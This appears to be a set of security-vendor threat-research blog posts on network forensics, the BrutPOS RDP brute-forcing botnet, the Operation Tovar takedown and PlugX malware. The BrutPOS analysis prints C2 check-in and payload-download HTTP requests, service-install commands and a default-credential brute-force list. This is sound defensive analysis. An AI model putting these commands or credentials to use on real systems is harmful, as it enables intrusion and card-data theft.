On any network, there will be unusual or suspect activity from time to time. Sometimes, this unusual activity can be indicative of advanced threats and targeted activity. Many times, the threat actors are quite adept at keeping a low profile and executing actions on objectives subtly. For example, Advanced Persistent Threat (APT) actors may compromise an endpoint inside of an organization and slowly collect sensitive, proprietary, or confidential information to stage for subsequent exfiltration. While detecting this activity in an automated fashion would be ideal, this turns out to be very difficult in practice. As a result, if this activity is successfully detected within the organization (as opposed to via a third party), it is most often done so via hunting. Hunting is the activity through which skilled analysts use a variety of different analytical techniques to “slice and dice” the network traffic data in the “hunt” for this subtle malicious activity. The best analysts will want to issue targeted, precise, incisive queries designed to extract the proper forensics data rapidly, with minimal noise. This requires a network forensics capability that can rise to this challenge at enterprise network speeds and traffic volumes.

Metrics/Network Knowledge

Metrics provide important data points to the decision maker and executive. As a recent example, let us consider the many new Top Level Domains (TLDs) that have become available for use. Attackers have already leveraged some of these TLDs for malicious purposes, and this activity will undoubtedly continue to increase. This example begs the question: If a TLD serves no legitimate business purpose and can only expose the organization to risk, should it be blocked proactively? I believe the answer to this question is yes. But how can we ensure that a TLD serves no business purpose? This is where the metrics and network knowledge become so crucial.  Business decisions should be based on facts, and facts come from an accurate, precise data of record – the network forensics data. This is merely one example of the many business questions that can be answered with metrics driven by network forensics data. When business decision makers or executives need answers, it is best to be able to provide answers based on ground truth.

Intelligence

When leveraged properly, actionable intelligence can provide additional enrichment and maturity to a security operations program, as well as aid in the improved detection of intrusions. Leveraging intelligence properly involves many details, but one of the most important details is that a reliable data of record exists. After various Indicators of Compromise (IOCs) are received and vetted, they should be leveraged against a reliable data of record in order to maximize their value. There are two time-based aspects here – historical and ongoing. We can run IOCs against our historical data to check for evidence of intrusions present on the network from the past on through the current day. In addition to that, we should also monitor for evidence of intrusions on an ongoing basis and raise an event to the alert queue when we see that evidence. These are both productive activities, assuming that an accurate, cohesive, lossless data of record exists for us to run the IOCs against.  Further, it is not merely enough to collect the data – we need to be able to rapidly and surgically extract the data through targeted, precise, and incisive queries. For example, an organization may receive a daily feed of malicious command and control domain names from one or more of its intelligence sources. That data needs to be run against a corresponding data of record to find instances of command and control activity present on the organization’s network indicating that some systems are compromised. A scalable network forensics solution, one that can both record all of the network data at high speed as well as make that data and meta-data available for analysis, is required in order to properly leverage intelligence.

DNS/Passive DNS

Data from Domain Name System (DNS) queries and responses provide a wealth of insight into unusual or suspect activity that may be occurring on the network. For example, most users pointing their browsers at legitimate websites will request domain names that resolve to routable, public IP addresses. But what if a resource on the network repeatedly requests a domain name that resolves to private, non-routable IP address or one that has no resolution at all? Further, what if that domain name suddenly “comes alive” and begins resolving to a routable, public IP address and/or the resource begins exfiltrating data to that IP address? This is just one of many interesting applications of DNS query and response data. As interesting and crucial as this data is, many organizations struggle to maintain adequate visibility across their DNS infrastructure. There are many reasons why this is the case, but there is a solution. A network forensics platform collects layer 7 enriched meta-data for many application protocols, DNS among them. This provides an organization with a de facto DNS monitoring and passive DNS data collection system, without requiring the organization to invest in additional technology or hardware. It’s one of my favorite use cases for network forensics and likely one that will resonate with many readers. For smaller organizations, there is also the additional benefit of using using one network forensics technology for multiple purposes.

Intelligent Alerting

As the old saying goes, ask a stupid question, get a stupid answer. The modern attacker is intelligent and sophisticated. We would be naïve to think that we could identify a sly attacker’s subtle activity with dull, generic queries. If we want to find the intelligent attacker, we need to ask intelligent questions. Asking intelligent questions requires two fundamental components. The first required component is that the data be collected and its associated meta-data extracted and indexed for rapid search. The second required component is a robust query language that allows the analyst to ask incisive, targeted, precise, intelligent questions of the data. It’s likely not a surprise that a mature, scalable, powerful network forensics solution provides both of these required components. For example, say I am a mid-sized organization concerned by potential theft of intellectual property from my executives. With the right solution in place, I can precisely craft my alert logic so as to focus in on the specific employees, systems, data, and threats I am concerned with. In the absence of that capability, many organizations struggle to issue queries powerful enough to identify suspicious and malicious activity designed to behave subtly and fly under the radar.

There are many use cases for network forensics, but I’ve tried to list those that may help to reinforce the strong business need for network forensics. When the need arises to perform breach response or any of the other use cases listed above, the organization that has implemented a robust, scalable network forensics solution will fare better than the organization that has not. With the stakes so high these days, it would be a shame not to be prepared.

BrutPOS From a Security Practioner’s Perspective

Today, FireEye Labs posted a technical blog on the malware for a botnet that we call BrutPOS. With a lot of attention focused on data breaches in retail, BrutPOS gives us a chance to look retrospectively on the state of retail security.

The popular phrase “a chain is only as strong as its weakest link” has great relevance in the information security world.  There are a large number of ways to compromise a business network, yet attackers are quite successful in this endeavor using fairly pedestrian methods of attack.  This raises the important question: Why is this the case?  Part of the answer lies in the fact that attackers don’t feel a great need to use particularly sophisticated attack methods.  In other words, if attackers can succeed using fairly elementary attack methods, why should they work any harder?  Let’s examine this principle through the example of the BrutPOS malware.

Most businesses use Microsoft’s Remote Desktop Protocol (RDP) as an integral part of their day-to-day business operations.  RDP allows for remote login to Windows systems.  This has many legitimate uses, such as an administrator logging on to a system remotely to update a software package.  Like any legitimate service, attackers are also quite happy to leverage RDP for their own nefarious purposes.  An example of this is the BrutPOS malware, the analysis of which was detailed in a FireEye blog post today. At a high level, the purpose of the BrutPOS malware is to compromise Point of Sale (POS) terminals through the use of the remote desktop protocol (RDP).  The malware aims to steal payment card information from those compromised POS terminals.  There is no need for the attackers to write a sophisticated protocol for their malware to log on to systems remotely – the RDP works quite nicely.

There are many approaches an organization can take to better manage the risk presented in the BrutPOS malware. One of those approaches is to go back to basics and remember some important foundational tenets of information security.  This approach involves ensuring that authentication and authorization policies are sensible and enforced across the organization.  For example, some simple steps an organization can take to improve its defenses against threats such as BrutPOS include (but are not limited to):

  • Not allowing administrative access to systems, with the exception of special administrative accounts for administrators
  • Locking out accounts after N number of incorrect login attempts
  • Not allowing RDP login by default on systems, but rather, granting it on an as needed basis
  • Limiting or eliminating the use of shared or group accounts
  • Monitoring authentication logs for repetitive failed login attempts to one system or multiple systems

As organizations look to continually improve their information security postures, it’s important to remember that foundational tenets are as valid as ever.  We do need to ensure that we have a variety of defensive measures in our arsenal, but it’s important to remember that not all of them need be cutting edge.  Sometimes, foundational best practices can provide us with straightforward approaches to mitigating risk posed by modern threats.

BrutPOS: RDP Bruteforcing Botnet Targeting POS Systems

There have been an increasing number of headlines about breaches at retailers in which attackers have made off with credit card data after compromising point-of-sale (POS) terminals. However, what is not commonly discussed is the fact that one third of these breaches are a result of weak default passwords in the remote administration software that is typically installed on these systems. [1] While advanced exploits generate a lot of interest, sometimes it’s defending the simple attacks that can keep your company from the headlines.

In this report, we document a botnet that we call BrutPOS which uses thousands of compromised computers to scan specified IP address ranges for RDP servers that have weak or default passwords in an effort to locate vulnerable POS systems. [2]

BrutPOS

It is unclear exactly how the BrutPOS malware is being propagated. We have found that the malware is being distributed (along with a considerable amount of otherwise unrelated malware) by the site destre45[.]com. The attackers may have used a distribution service provided by other cybercriminals.

When executed, the malware copies itself to:

"%USERPROFILE%\%APPDATA%\llasc.exe"

It modifies the Windows Registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Run_) so that it will be restarted after a reboot.

The malware connects to the command and control server (C2) to report its status and receives a list of usernames/passwords and IP addresses to begin scanning.

POST /brut.loc/www/cmd.php HTTP/1.1
Content-type: multipart/form-data, boundary=XyEgoZ17
Cache-Control: no-cache
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 92.63.99.157
Content-Length: 212

–XyEgoZ17
content-disposition: form-data; name=”data”

{ “bad” : 0, “bruting” : false, “checked” : 1, “done” : true, “errors” : 0, “good” : 0, “goodslist” : “”, “pps” : 0.0, “threads” : 5, “v” : “0.0.0″ }

HTTP/1.1 200 OK
Date: Fri, 20 Jun 2014 13:22:53 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=o68hcjj8lhkbprfbdkbj50lrr0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2056
Connection: close
Content-Type: text/html; charset=UTF-8

{“passwords”:”backupexec\r\nbackup\r\npassword\r\nPassword1\r\nPassw0rd\r\nPa$$w0rd1\r\nPass@word\r\nPassword\r\nclient\r\nP@ssw0rd\r\np@$$w0rd\r\npassw0rd\r\np@ssw0rd\r\npa$$w0rd”,”logins”:”backupexec\r\nbackup\r\ndatacard”,”servers”:”[IP ADDRESSES REDACTED]“,”botstart”:”1″,”stamp”:1308301912,”newthreads”:5,”interval”:50}

The infected system begins to make connections to port 3389; if the port is open it adds the IP to a list of servers to be brute forced with the supplied credentials. If the infected system is able to successfully brute force an RDP server, it reports back with credentials.

In total we found five C2 servers used by the BrutPOS botnet. Three of these servers are located on the same network in Russia; one of them is located in Iran. Only two of these servers remain active at this time.

C2 Country Network Status
62.109.16.195 Russia THEFIRST-NET Active
92.63.99.157 Russia THEFIRST-NET Active
78.154.54.42 Iran BSG Inactive
82.146.34.22 Russia THEFIRST-NET Inactive
62.113.208.37 Germany DE-23MEDIA Inactive

Based on the compile times of the samples we analyzed that connect to this C2 infrastructure, this botnet was active as of February 2014.

However, one of the active C2 servers was setup on May 28 and we believe that the second was setup in early June. We were able to recover information from these two C2 servers in mid-June that allowed us to gain a better understanding of this botnet.

The attackers are able to control the botnet from a web-based administration panel. This panel provides a statistical overview of the botnet.

brutpos1

The botnet had a total of 5622 compromised computers under its control, however, only a fraction of those systems are active at any given time (179 were active when we last checked). This page also displays the “current version” of the malware and if an infected system checking in reports an earlier version a new executable will be pushed down to it.

brutpos2

The attackers are able to view the details of the infected systems under their control including the IP address and geographic location as well as status of the infected systems’ brute forcing activities (bad / good / errors / threads / version) and the timestamp of the last connection to the C2. The attackers may also specify commands such as “reload” and “delete”.

Based on the IP addresses on this page, there are 5622 infected systems spread across 119 countries.

Country

Count

Percentage

Russia

881

15.67%

India

756

13.45%

Vietnam

422

7.51%

Iran

341

6.07%

Taiwan

232

4.13%

Ukraine

151

2.69%

Turkey

139

2.47%

Serbia

115

2.05%

Egypt

110

1.96%

Mexico

106

1.89%

brutpos3

This page lists the ranges of IP addresses that the attackers can specify to be scanned for RDP access and brute forced.

brutpos4

In total, the attackers specified 57 IP address ranges the majority of which (32) are located in the U.S.

brutpos5

The attackers can specify the user names and passwords that the infected systems use to brute force available RDP servers. Some of the usernames and password indicate that the attackers are looking for specific brands of POS systems (such as Micros). [3]

Usernames Passwords
admin
administrator
backup
backupexec
data
datacard
manager
micros
microssvc
pos
Admin
admin
Administrat0r
Administrator
administrator
backup
backupexec
client
client1
datacard
@dm1n
@dmin
micros
p0s
Passw0rd
Passw0rd1
Password
Pass@word
password
Password1
Pa$$w0rd1
Pa$$word
pa$$word
pos
P@ssw0rd
p@ssword
p@ssword1
p@$$w0rd

brutpos6

When an infected system reports back a successful RDP login, the attackers store the username/password and IP address of the RDP server as well as the IP address of the infected system that successfully brute forced it.

brutpos7

Of the 60 “good” RDP servers listed by the attackers the majority (51) are located in the U.S. The most common username was “administrator” (36) and the most common passwords were “pos” (12) and “Password1” (12).

Payment Card Theft

During our investigation, we discovered another executable that is potentially run on systems once credentials are obtained (e.g. 4aed6a5897e9030f09f13f3c51668e92). This variant is intended to extract payment card information stored within running processes. It has two distinct code paths depending on its ability to get debug permissions by calling RtlAdjustPrivilage(0×14,1,0…). This may be an attempt to identify a POS configuration. If it succeeds in getting debug permissions, it downloads the executable and executes it:


GET /brut.loc/www/bin/1.exe HTTP/1.1
Accept-Encoding: gzip
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 82.146.34.22

If the malware fails to get debug permissions, it copies itself to %WINDIR%\lsass.exe and installs itself as a service. The following script is used to create and start the service:

sc create winserv binpath= C:\WINDOWS\lsass.exe type= own start= auto
sc start winserv
del 1.bat

When running as a service, the program scans the memory of all processes with the exception of csrss.exe and conhost.exe for potential payment card information. Candidates are verified using the Luhn checksum and saved to winsrv.sys. It uploads ‘winsrv.sys’ using FTP to the server 62.109.16.195.

Before connecting to the FTP server, the implant connects to smtp[.]gmail[.]com on port 25 and obtains the victim’s external IP address from the EHLO response. winsrv.sys is uploaded to the FTP serving using a filename consisting of a capital character followed by the IP address. The capital character prefixed to the filename is initialized to ‘A’ and is incremented through ‘Z’ for each new file. If the IP address isn’t obtained from smtp[.]gmail[.]com, a random four digit number is generated.

Attribution

While there is insufficient information to determine attribution, there is some information which indicates that the attackers are in Eastern Europe, probably Russia or Ukraine. In addition to the Russian language interface, we recovered web server logs and parsed out the six IP addresses that used the administration interface.

Two of the IP addresses were from PEOPLE-NET, an ISP in Ukraine. In both cases the “User-Agent” indicates that the requests were coming from an Alcatel mobile phone running Android:

"Mozilla/5.0 (Linux; Android 4.1.1; ALCATEL ONE TOUCH 5020D Build/JRO03C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.72 Mobile Safari/537.36 OPR/19.0.1340.69721"

Another Ukraine IP address, from the UKRTELNET-ADSL ISP, was also used. However, the “User-Agent” in this case was FireFox:

"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"

There were also connections from an IP range in Russia assigned to the network “Macroregional_South” in Volvograd.

In addition to these connections there were also connections from the U.K. and France, however, these connections were made using VPN services provided by atomintersoft.com and vpnlux.net.

Honeypot

In order to understand the attacker’s intentions, we decided to setup a Windows 2008 R2 Server with POS software and allow the attackers to compromise it. In addition to POS software, we also put documents with fake credit card information on the Desktop. By mimicking the traffic generated by the infected systems under the attackers control, we were able send a username and password combination of “micros” and “admin” to the C2. We then waited for the attackers to connect.

We saw the attackers connect to the RDP instance 27 minutes after the fake username and password combination were sent to the C2. The attackers connected from three IP addresses. One of the IP addresses was in the same Ukrainian IP address range assigned to PEOPLE-NET that we saw in the C2 logs. Another was the same VPN based in the UK, while the third was assigned to INETHN in Honduras.

After connecting, the attackers immediately opened the document containing fake credit card information, then exited the system shortly after. The second access attempt occurred 4 minutes later, with little activity. The third access occurred 18 minutes later. The attackers, on the third access, then attempted to open the POS software; which was unsuccessful. The fourth access happened two minutes later, with very little activity. The fifth and final access happened approximately 4 hours later, which led the attackers to format the drive, thus attempting to wipe data trails.

Conclusion

POS systems remain a high priority target for cybercriminals. Based on a simple scanning attack, the attackers in this case were able leverage their botnet of over 5000 machines in order to acquire access to 60 systems in two weeks.

While new malware and more advanced attacks are taking place, standard attacks against weak passwords for remote administration tools presents a significant threat.

Notes

1. http://www2.trustwave.com/rs/trustwave/images/2014_Trustwave_Global_Security_Report.pdf

2. The BrutPOS malware was initially identified in March 2014 but the full scope of the botnet was still unknown at that time. http://www.alienvault.com/open-threat-exchange/blog/botnet-bruteforcing-point-of-sale-via-remote-desktop and http://deepflash.blogspot.ca/2014/02/rdp-bruterforcer-in-wild.html

3. Micros sells POS systems for the retail and hospitality industries http://www.micros.com/.

Acknowledgements

We would like to thank Josh Gomez for his help and support.

Samples

4c3d65c1d8e1d7a2815c0031be41efc7: BrutePOS_Brute
7391ff6f34f79df0ec7571f7afbf8f7a: BrutePOS_Brute
280d920531ba67d8fd81350877914985: BrutePOS_Brute
96487eb38687e84405f045f7ad8a115c: BrutePOS_Brute
c1fab4a0b7f4404baf8eab4d58b1f821: BrutePOS_Brute
6bcff459fbca8a64f1fd74be433e2450: BrutePOS_Brute
daae858fe34dcf263ef6230d887b111d: BrutePOS_Brute
31bd8dd48ac0de3d4da340bf29f4d280: BrutePOS_Brute
0f2266f63c06c0fee3ff999936c7c10a: BrutePOS_Brute
4d4fd96fabb1c525eaeeae8f2652ffa6: BrutePOS_Brute
da6d727ddf096b6654406487bf22d26c: BrutePOS_Brute
fd58144a4cd354bfd09719ac2ccd3511: BrutePOS_Brute
e38e42f20e027389a86d6a5816a6d8f8: BrutePOS_Brute
08863d484b1ebe6359144c9a8d8027c0: BrutePOS_Brute
4ab3a6394a3a1860a6c52cf92d7f7560: BrutePOS_Brute
0e58848506a525c755cb0dad397c1c44: BrutePOS_Brute
60c16d8596063f6ee0eae579f201ae04: BrutePOS_Brute
b2d4fb4977630e68107ee87299a714e6: BrutePOS_Brute
68ba1afd4585b9355cf7009f4604a208: BrutePOS_Brute
9d3d769d3feea92fd4794fc3c59e32df: BrutePOS_Brute
b63581fcf0ff86bb771c3c33205c78ca: BrutePOS_Brute
18eba6f28ab6c088d9fc22b4cc154a77: BrutePOS_Brute
4802539350908fd447a5c3ae3e966be0: BrutePOS_Brute
cbbb68f6d8eda1071078a02fd79ed3ec: BrutePOS_Brute
8ba3c7ccd0a61d5c9a8b94a71ce06328: BrutePOS_Brute
9b8de98badede7f837a34e318b12d842: BrutePOS_Brute
78f4a157db42321e8f61294bb39d7a74: BrutePOS_FTP_Exfil
f36889f30b62a7524bafc766ed78b329: BrutePOS_FTP_Exfil
95b13cd79621931288bd8a8614c8483f: BrutePOS_FTP_Exfil
4aed6a5897e9030f09f13f3c51668e92: BrutePOS_FTP_Exfil
06d8d8e18b91f301ac3fe6fa45ab7b53: BrutePOS_FTP_Exfil
faddbf92ab35e7c3194af4e7a689897c: BrutePOS_FTP_Exfil

Operation Tovar: The Latest Attempt to Eliminate Key Botnets

Coordinated botnet disruptions have increased in pace and popularity over the last few years as more private companies work with international law enforcement agencies to combat malware infections on a grand scale. Operation Tovar, announced on June 2 2014, is the latest to make headlines. The target of the investigation, Evgeniy Mikhailovich Bogachev, was indicted by the Department of Justice and is wanted by the FBI for his role as alleged leader of the Gameover ZeuS and CryptoLocker botnets. Four other defendants were indicted using their pseudonyms. Though Bogachev’s current activities aren’t known, the Operation Tovar task force has maintained control of the botnet infrastructure and remediation efforts are ongoing.

While new malware strains are released with increasing frequency, it’s easy to forget why Gameover and CryptoLocker are worthwhile targets for takedown operations. Both offered more advanced features than their peers and typified the increasingly sophisticated cybercriminal enterprises behind botnets.

Gameover ZeuS

Since the ZeuS source code was released in 2011, several new variants have appeared in the wild. Citadel, KINS, ICE IX, and Gameover have all improved upon the basic ZeuS model by introducing new features, using better encryption, and modifying command and control (C2) communication methods.

Gameover uses a peer-to-peer (P2P) system for C2 communication. Though other P2P botnets such as Kelihos exist, Gameover is notable for its use of proxy nodes to introduce complexity into the standard P2P infrastructure. These proxy nodes are specific machines designated as relay points through which the botnet operators send commands and receive stolen information. This minimizes the number of systems that actually communicate with C2 servers. C2 commands are signed using RSA-2048 and encrypted with RC4 making it very difficult to tamper with the botnet.

Additionally, Gameover maintains a failsafe mechanism: a domain generation algorithm (DGA) that produces 1,000 domains each week. This feature enables the operators to maintain control of their botnet even if the P2P infrastructure is compromised. The DGA produces long, nonsensical strings at one of six top-level domains: .com, .net, .org, .biz, .info, and .ru that can be registered and used to send commands to the botnet.

ZeuS and all its variants are information-stealing trojans. We refer to them as banking trojans because that’s where they excel and Gameover is no exception. Gameover is able to trick the user into handing over personal information and can even defeat two-factor authentication. It accomplishes this by injecting custom code into the browser when a victim visits certain websites. Gameover’s arsenal of bank account takeover tools includes 1,500 web injections that were custom-made to target the websites of more than 700 financial institutions worldwide.

In addition to its exceptional abilities as a banking trojan, Gameover is capable of a wider variety of data theft activities. An Operation Tovar task force member, speaking to Brian Krebs on the condition of anonymity, said they have evidence of additional harvested data and that Gameover targeted proprietary information.

CryptoLocker

Not content with merely engaging in widespread banking credential and information theft, the Gameover criminal operators decided to maximize returns by infecting systems with CryptoLocker. It is a type of ransomware that encrypts the files on infected machines and then demands a ransom of hundreds of dollars in order to receive a decryption key. Typically, victims were given 72 hours to pay the ransom in bitcoins or risk losing their data.

Unwilling to miss out on any opportunity to generate revenue, the criminal operators set up a website to assist victims in paying the ransom in bitcoins. Through this website, victims could complete the transaction and track the status of their “order” – the ransom payment in exchange for the decryption key. Some victims, unwilling or unable to pay the ransom, missed the 72-hour deadline only to see the ransom demand increase fivefold.

Law enforcement officials discouraged people from paying the ransom since it would fund a criminal organization, but without back ups many victims had little choice but to pay. A US police department paid $750 for two Bitcoins as ransom after CryptoLocker was installed on a system used for police reports and booking photos. CryptoLocker encrypts files using asymmetric encryption, making use of a public and a private key. Without the private key, located on the criminals’ servers, infected files probably cannot be decrypted.

The Target

Operation Tovar’s investigation began with a server in the UK. A trail of wire transfers, money mules, criminal servers, and at least one confidential source led investigators to Bogachev. He is a Russian citizen wanted on charges of conspiracy to participate in racketeering activity, bank fraud, conspiracy to violate the Computer Fraud and Abuse Act, conspiracy to violate the Identity Theft and Assumption Deterrence Act, aggravated identity theft, conspiracy, computer fraud, wire fraud, and money laundering. The FBI estimates the financial toll of Gameover at over $100 million and another estimate is that more than $27 million in ransom payments were made in the first two months of CryptoLocker’s distribution.

Obtaining an indictment against a Russian national who will likely never be extradited to the United States isn’t sufficient to put an end to a criminal organization. In 2011, Russian citizen Aleksandr Andreevich Panin was indicted in the US on 23 counts related to the development and distribution of SpyEye but was not arrested until 2013 when he flew through Hartsfield-Jackson Atlanta International Airport. The Russian government, in a travel warning to its citizens, specifically mentions Panin and recommends that Russians facing legal action in the US should refrain from travelling internationally.

The Takeover

Drawing on the technical expertise of its members, the Operation Tovar task force was able to exploit flaws in the design of Gameover’s P2P network to manipulate the peer list and redirect traffic to nodes under its control. The specific technical details have not been released to the public in order to prevent the criminals from regaining control.

Gameover’s failsafe mechanism, the DGA that was supposed to have allowed the criminals to maintain control in the event of a P2P disruption, was reverse engineered by task force members. The FBI then obtained a restraining order to redirect any attempts to register those domains to a government-run server. Furthermore, US service providers are required to block connections to the Russian .ru domains generated by the DGA since the US has no jurisdiction to prevent their registration.

CryptoLocker also used a DGA for determining C2 locations. The algorithm was reverse engineered and the C2 servers were identified and seized by the Operation Tovar task force. Due to the use of an asymmetric key algorithm, CryptoLocker victims whose files remain encrypted currently have no avenue of remediation.

Operation Tovar’s success can be measured by two factors: (1) Have the criminals regained control of their botnets and (2) Is the malware being removed from infected machines? While we can’t say for certain that the people responsible for Gameover and CryptoLocker have ceased all criminal activity, they have not regained control of the network disrupted by Operation Tovar. Based on this fact alone, the task force should be commended. Successful botnet disruptions are very challenging. Attempted takeovers over Kelihos have been undone after only two weeks.

The remediation of infected machines is an even more difficult task. US-CERT has published a list of recommended actions and resources, and a number of the private companies involved in Operation Tovar have released scanning tools. The onus remains on individuals and organizations to use these resources to determine if they are infected and take the appropriate steps to remediate the problem. Statistics published by The Shadowserver Foundation show the number of machines infected with Gameover has remained essentially flat since the takeover. There are simply not enough people taking advantage of the resources available to remediate their systems.

tovar1

The task force has taken control of the C2 network and now some people may believe that the malware is neutered and no further action is required. It is important to remember that any malware is unauthorized code running on a computer. The integrity of the system is still compromised, regardless of who is in control of the botnet.

Announcing the FLARE Team and The FLARE On Challenge

I would like to announce the formation of the FireEye Labs Advanced Reverse Engineering (FLARE) team. As part of FireEye Labs, the focus of this team is to support all of FireEye and Mandiant from a reverse engineering standpoint. Many FireEye groups have reversing engineering needs: Global Services discovers malware during incident response, Managed Defense constantly discovers threats on monitored client networks, and Products benefit from in-depth reversing to help improve detection capabilities.

We primarily focus on malware analysis, but we also perform red-teaming of software and organizations, and we develop tools to assist reverse engineering. Our research and tools assist with automatic malware triage to quickly get initial results out to incident responders in the field. Auto-unpackers unravel obfuscated samples without the need for an analyst. Automatic clustering and classifying samples helps identify if a binary is good or bad and whether we have analyzed it before. We develop reverse engineering scripts for IDA Pro and systems that help us quickly share our analysis results. We also write scripts that can help incident responders decrypt and interpret malware network traffic and host artifacts.

This elite technical enclave of reversers, malware analysts, researchers, and teachers, will team up with our FireEye Labs peers to help bring the best detection to our customers and promote knowledge sharing with the security research community. We’ll continue to provide technical training on malware analysis privately and at conferences like Black Hat. Look for us to present webinars on malware analysis and a blog series of scripts for IDA Pro to aid reverse engineering of malware.

The Challenge

To commemorate our launch, the FLARE team is hosting a challenge for all reverse engineers and malware analysts. We invite you to compete and test your skills. The challenge runs the gamut of skills we believe are necessary to succeed on the FLARE team. We invite everyone who is interested to solve the challenge and get their just reward!

The puzzles were developed by Richard Wartell, a reverse engineer with a PhD in “IDA Pro” (actually Computer Science, but his thesis used IDA Pro) from the University of Texas at Dallas where he worked on binary rewriting techniques for the x86 instruction set. He recently presented this work at the REcon conference in Montreal. At Mandiant Richard focused on incident response, but now on the FLARE team he reverse engineers malware, teaches malware classes, and helps develop our auto-unpacking technology.

As reverse engineers we’ve seen a variety of anti-reverse engineering techniques. Oftentimes the armoring malware authors employ is sophisticated and requires time to unravel. Sometimes it is misguided and easily circumvented.

Writing these binary puzzles has given us a chance to recreate some of the sophisticated (and sometimes ridiculous) techniques we see. The seven puzzles start with basic skills and escalate quickly to more difficult reversing tasks. At FLARE we have to deal with whatever challenges come our way, so the challenge reflects this. If you take on the challenge you might see malicious PDFs, .NET binaries, obfuscated PHP, Javascript, x86, x64, PE, ELF, Mach-O, and so on.

And after completing the final challenge, you’ll win a prize and be contacted by a FLARE team member. The full details can be found at: www.flare-on.com.

So on behalf of the FLARE team, I say Happy Reversing!

Threat Research


Filter by Category:


Pacific Ring of Fire: PlugX / Kaba

As depicted in earlier FireEye blogs, advanced cyber attacks are no strangers to the Asia Pacific region. In this blog, we take a deeper look at some of the advanced persistent threat (APT) malware that have significant presence in the APAC region, starting with PlugX (we detect it as Backdoor.APT.Kaba).

The PlugX / Kaba malware is a well-known remote access tool (RAT) believed to have been around for several years that continues to evolve itself in new attack campaigns. It is often seen used in APT campaigns alongside two other infamous RATs – PoisonIvy and Taidoor. For this blog, FireEye Labs has investigated PlugX samples discovered throughout 2013 as well as recent variants detected between January and June 2014. Countries on both sides of the Pacific incuding the United States as well as Northeast Asian countries such as South Korea, Hong Kong, Japan and Taiwan were most hit by this malware, with attacks spanning multiple industry verticals. The top  5 most targeted verticals include Technology, Aerospace / Defense, Entertainment / Media, Telecommunications and Government (Federal).

Figure 1: PlugX / Kaba Infections (by Country)

Figure 1: PlugX / Kaba Detections (by Country)

Table 1: Top 5 Affected Verticals

Table 1: Top 5 Affected Verticals

Delivering the Attacks

PlugX is most commonly distributed via an exploit, but may also be delivered using a RAR self-extracting executable. Amanda Stewart has written an excellent blog and paper about the common components of the PlugX / Kaba RAT and how it capitalizes on the DLL side-loading technique. In general, the RAT consists of DLL components that are injected into the process memory of svchost.exe. To deliver the DLL components, a “dropper” must first be executed through the use of an exploit, or via social-engineering tactics over e-mail or web to entice the victims to load an executable file.

Figure 2: Primary PlugX “Dropper” File Types

Figure 2: Primary PlugX “Dropper” File Types

While RTF files exploiting CVE-2012-0158 are nothing new, they are still most frequently used in the delivery of PlugX to its targets. The same vulnerability has also been exploited through Excel spreadsheets and Word document files. More recently, a Flash zero-day vulnerability has been exploited to deliver a PlugX payload.

Where an exploit is not used, RAR self-extracting executable (SFX) files were commonly used throughout 2013. These files often appear to have a Word or PDF icon and launch a decoy document that is displayed to the victim. The PlugX RAT is then loaded in the background without the user’s knowledge. While we have noticed a decrease in the use of this vector to deliver PlugX in 2014, it continues to be an effective technique for PlugX and other malware, so we do not expect its use to disappear entirely.

In the below example, the RAR SFX contains a script that loads the RAT (config.exe) and the decoy document (notice.doc).

Figure 3: RAR SFX Script and Files

Figure 3: RAR SFX Script and Files

Command and Control

We have found two dominant variants, SideBar and RasTLS, using 4 of the top 10 domains associated with the PlugX / Kaba command and control (C2) infrastructure. In fact, the 4 domains resolved to the same IP range based in Hong Kong likely operated by the same threat group(s).

Table 2: Top domains used in PlugX / Kaba Callbacks

Table 2: Top Domains used in PlugX / Kaba Callbacks

SideBar

The SideBar variant is delivered through RTF, Word and Excel files. Upon successfully exploitation, it drops “dw20.dll” to the %TEMP% folder. This “dw20.dll” continues to install the following files:

  • %ALLUSERS%\WS\Gadget.exe (MD5: 6b97b3cd2fcfb4b74985143230441463)
  • %ALLUSERS%\WS\SideBar.dll (MD5: 123e1841cc596c1f40e2e6693ea7dcac)
  • %ALLUSERS%\WS\SideBar.dll.doc (MD5: a0c93bdc089e1338cc392108a0e57f2f)

A service registry key is created to start “Gadget.exe” upon reboot of the infected system.
“Gadget.exe” is part of a benign “TENCENT Sidebar” application digitally signed by “Tencent Technology(Shenzhen) Company Limited “. Using the DLL-side loading method, a malicious version of“SideBar.dll” is loaded and executes the exported function “Main”.

“SideBar.dll” is a loader for “SideBar.dll.doc”, executing code at offset 0. “SideBar.dll.doc” decodes a part of its own data and is responsible for deflating a backdoor component. It spawns a new svchost.exe process and injects the backdoor into memory. This backdoor component remains only in memory, and is never saved to disk.

Figure 4: Decompressing Encoded Data

Figure 4: Decompressing Encoded Data

Version information can often be found in PlugX’s process memory. In SideBar, a DWORD value storing the internal version number was 0×20120123. The path names found in the deflated backdoor’s process memory indicating that this PlugX variant is version 6.0:

  • “d:\work\plug6.0(360)(gadget)”

The variant connects to fast.bacguarp.com and bbs.zuesinfo.com over port 8080.

RasTLS

While the RasTls variant is also dropped by document exploits, the dropped files are different. RasTls does not use the DLL side-loading method found in older variants [3]. The DWORD used to store the internal version number of RasTls was 0×20130810.

  • %ALLUSERS%\DRM\RasTls\RasTls.exe

“RasTls.exe” spawns “svchost.exe” and injects a deflated backdoor component into memory. The deflated backdoor component in memory contains a “XV” marker, instead of “MZ” and “PE” as found in regular Windows portal executable (PE) files. This is because “RasTls.exe” manually loads each section of deflated file into memory, so the file does not have to be a complete PE image.

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

The variant doesn’t contain strings implying version. The variant accept commands like as “ST1”, “ST2”, “TT1”,”TT2” which are different from version 6.

In memory space in the “svchost.exe”, we can see the decoded configuration information:

Figure 6: Decoded Configuration Information

Figure 6: Decoded Configuration Information

All RasTls variants have largely identical configuration and connects to scqf.bacguarp.com and scqf.zuesinfo.com over port 443. The “My_Name” mutex is also common to all RasTls variants.

